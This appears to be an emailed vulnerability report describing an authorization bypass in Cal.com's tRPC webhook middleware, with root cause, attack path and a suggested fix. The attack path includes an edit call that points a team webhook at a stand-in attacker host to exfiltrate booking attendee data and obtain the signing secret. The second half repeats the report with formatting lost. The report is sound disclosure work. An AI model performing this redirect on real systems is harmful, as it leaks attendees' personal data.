reported via email on 21 June 2026:
There's an authorization bypass in the tRPC webhook infrastructure that allows a team MEMBER to redirect a team's webhook delivery to an attacker-controlled URL, exfiltrating all future booking event payloads.
Root cause
The shared createWebhookProcedure() middleware in
packages/trpc/server/routers/viewer/webhook/util.ts guards all viewer.webhook.* endpoints.
When a webhook ID is supplied, it checks ownership as follows:
if (webhook.eventTypeId) {
// check eventType owner
} else if (webhook.userId && webhook.userId !== [ctx.user.id](http://ctx.user.id/)) {
throw new TRPCError({ code: "FORBIDDEN" });
}
For team-level webhooks, webhook.userId is null (only teamId is set). Because null
is falsy, the entire else if branch is skipped and next() is called with no authorization
check. There is no check that the caller is a member of — or has admin rights in — the
webhook's owning team.
The edit handler (edit.handler.ts) contains no secondary check, so any authenticated user
who supplies a valid team webhook UUID can update the webhook's subscriberUrl, secret, and
other fields. The handler returns the full updated row including the signing secret.
Attack path
- Attacker joins a Cal.com team as a MEMBER (lowest role).
- Attacker calls
viewer.webhook.getByViewer to obtain the team webhook UUID (this call is
authorized for all team members and is the normal data source for the webhooks settings page).
- Attacker calls
viewer.webhook.edit with { id: "<uuid>", subscriberUrl: "https://attacker.example.com/recv" }.
- The middleware silently passes (userId=null, no check fires). The handler updates the
webhook and returns the signing secret.
- All future booking events (BOOKING_CREATED, BOOKING_RESCHEDULED, BOOKING_CANCELLED, etc.)
are delivered to the attacker's server, leaking attendee name, email, phone, time zone,
and custom field data.
Affected code
packages/trpc/server/routers/viewer/webhook/util.ts — missing teamId/membership check
packages/trpc/server/routers/viewer/webhook/edit.handler.ts — no secondary ownership check
Confirmed present at HEAD a46d5f8dd4a9e5a821c7c7f54ef5d2e5999e445d (main branch, 2026-06-21).
Suggested fix
In the middleware, after fetching the webhook, add a check for team membership/role when
webhook.teamId is set:
} else if (webhook.teamId) {
const membership = await prisma.membership.findFirst({
where: { teamId: webhook.teamId, userId: [ctx.user.id](http://ctx.user.id/), accepted: true, role: { in: ["ADMIN", "OWNER"] } },
});
if (!membership) throw new TRPCError({ code: "FORBIDDEN" });
}
reported via email on 21 June 2026:
There's an authorization bypass in the tRPC webhook infrastructure that allows a team MEMBER to redirect a team's webhook delivery to an attacker-controlled URL, exfiltrating all future booking event payloads.
Root cause
The shared
createWebhookProcedure()middleware inpackages/trpc/server/routers/viewer/webhook/util.tsguards allviewer.webhook.*endpoints.When a webhook ID is supplied, it checks ownership as follows:
For team-level webhooks,
webhook.userIdisnull(onlyteamIdis set). Becausenullis falsy, the entire
else ifbranch is skipped andnext()is called with no authorizationcheck. There is no check that the caller is a member of — or has admin rights in — the
webhook's owning team.
The
edithandler (edit.handler.ts) contains no secondary check, so any authenticated userwho supplies a valid team webhook UUID can update the webhook's
subscriberUrl,secret, andother fields. The handler returns the full updated row including the signing
secret.Attack path
viewer.webhook.getByViewerto obtain the team webhook UUID (this call isauthorized for all team members and is the normal data source for the webhooks settings page).
viewer.webhook.editwith{ id: "<uuid>", subscriberUrl: "https://attacker.example.com/recv" }.webhook and returns the signing secret.
are delivered to the attacker's server, leaking attendee name, email, phone, time zone,
and custom field data.
Affected code
packages/trpc/server/routers/viewer/webhook/util.ts— missing teamId/membership checkpackages/trpc/server/routers/viewer/webhook/edit.handler.ts— no secondary ownership checkConfirmed present at HEAD
a46d5f8dd4a9e5a821c7c7f54ef5d2e5999e445d(main branch, 2026-06-21).Suggested fix
In the middleware, after fetching the webhook, add a check for team membership/role when
webhook.teamIdis set: